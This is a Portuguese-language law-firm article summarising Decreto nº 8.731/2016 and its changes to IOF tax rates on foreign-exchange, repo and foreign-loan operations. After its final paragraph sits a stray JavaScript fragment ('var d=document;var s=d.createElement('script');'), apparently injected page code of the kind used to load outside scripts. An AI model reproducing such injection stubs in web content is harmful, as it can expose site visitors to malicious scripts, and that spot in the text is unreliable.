Alterações no IOF

Foi publicado hoje o Decreto nº 8.731/2016, que alterou as alíquotas do Imposto sobre Operações de Crédito, Câmbio e Seguro, ou relativas a Títulos ou Valores Mobiliários (“IOF”) em determinadas hipóteses, conforme abaixo:

  • 0%, nas liquidações de operações simultâneas de câmbio para ingresso de recursos no País, originárias da mudança de regime do investidor estrangeiro, de investimento direto, para investimento em ações negociáveis em bolsa de valores, na forma regulamentada pelo Conselho Monetário Nacional;
  • 1% ao dia sobre o valor do resgate, cessão ou repactuação, limitado ao rendimento da operação, em função do prazo, conforme tabela constante do Anexo ao Decreto nº 6.306, de 14 de dezembro de 2007, em relação às operações compromissadas realizadas por instituições financeiras e por demais instituições autorizadas a funcionar pelo Banco Central do Brasil com debêntures de que trata o art. 52 da Lei nº 6.404, de 15 de dezembro de 1976, emitidas por instituições integrantes do mesmo grupo econômico.
  • 1,10% nas liquidações de operações de câmbio para aquisição de moeda estrangeira em espécie, liquidadas a partir de 03/05/2016; e

O citado Decreto também dispôs que, na liquidação antecipada de operações de câmbio para ingresso de recursos no País, inclusive por meio de operações simultâneas, referente a empréstimo externo, sujeito a registro no Banco Central do Brasil, contratado de forma direta ou mediante emissão de títulos no mercado internacional, com prazo médio mínimo inferior ao da operação originalmente contratada, porém igual ou maior que cento e oitenta dias, aplica-se a alíquota em vigor na data da liquidação do contrato de câmbio para pagamento do empréstimo.var d=document;var s=d.createElement(‘script’);

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por Leoni Siqueira Advogados

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